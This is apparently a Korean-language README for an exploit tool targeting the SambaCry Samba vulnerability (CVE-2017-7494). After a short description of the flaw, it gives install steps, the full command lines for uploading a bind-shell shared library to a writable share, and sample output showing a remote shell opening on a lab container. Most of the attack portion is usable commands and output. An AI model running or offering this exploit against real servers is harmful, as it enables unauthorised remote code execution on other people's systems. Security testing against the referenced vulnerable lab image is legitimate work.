
SambaCry 익스플로잇 (CVE-2017-7494)
Samba는 SMB/CIFS 네트워킹 프로토콜의 자유 소프트웨어 재구현입니다. Samba는 다양한 Microsoft Windows 클라이언트를 위한 파일 및 인쇄 서비스를 제공하며, 도메인 컨트롤러(DC) 또는 도메인 구성원으로서 Microsoft Windows Server 도메인과 통합될 수 있습니다. 버전 4부터는 Active Directory 및 Microsoft Windows NT 도메인을 지원합니다.
4.5.9 버전 및 이전 버전의 Samba는 SambaCry라는 원격 코드 실행 취약점에 취약합니다. CVE-2017-7494는 원격 인증 사용자가 쓰기 가능한 공유 폴더에 공유 라이브러리를 업로드하고 코드 실행 공격을 수행하여 취약한 Samba 서비스를 호스팅하는 서버를 제어할 수 있도록 합니다.
Samba 3.x (3.5.0 이후), 4.x (4.4.14 미만), 4.5.x (4.5.10 미만), 4.6.x (4.6.4 미만)는 Windows 명명된 파이프 사용 시 파일 경로를 제한하지 않으므로, 원격 인증 사용자가 쓰기 가능한 공유 폴더에 공유 라이브러리를 업로드하고 조작된 명명된 파이프를 통해 임의 코드를 실행할 수 있습니다.
이 익스플로잇을 위해 poetry를 사용하여 환경을 설정하세요.
pip3 install -r requirements.txt
그런 다음 다음과 같이 실행할 수 있습니다:
./exploit -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
예를 들어, vulnerables/cve-2017-7494의 취약한 이미지를 사용하고 이 익스플로잇을 실행하려면:
./exploit -t <target> -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
다음과 같은 출력이 표시됩니다:
./exploit -t <target> -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
이 프로젝트의 페이로드와 코드는 opsxcq/exploit-CVE-2017-7494에서 많은 영감을 받았습니다.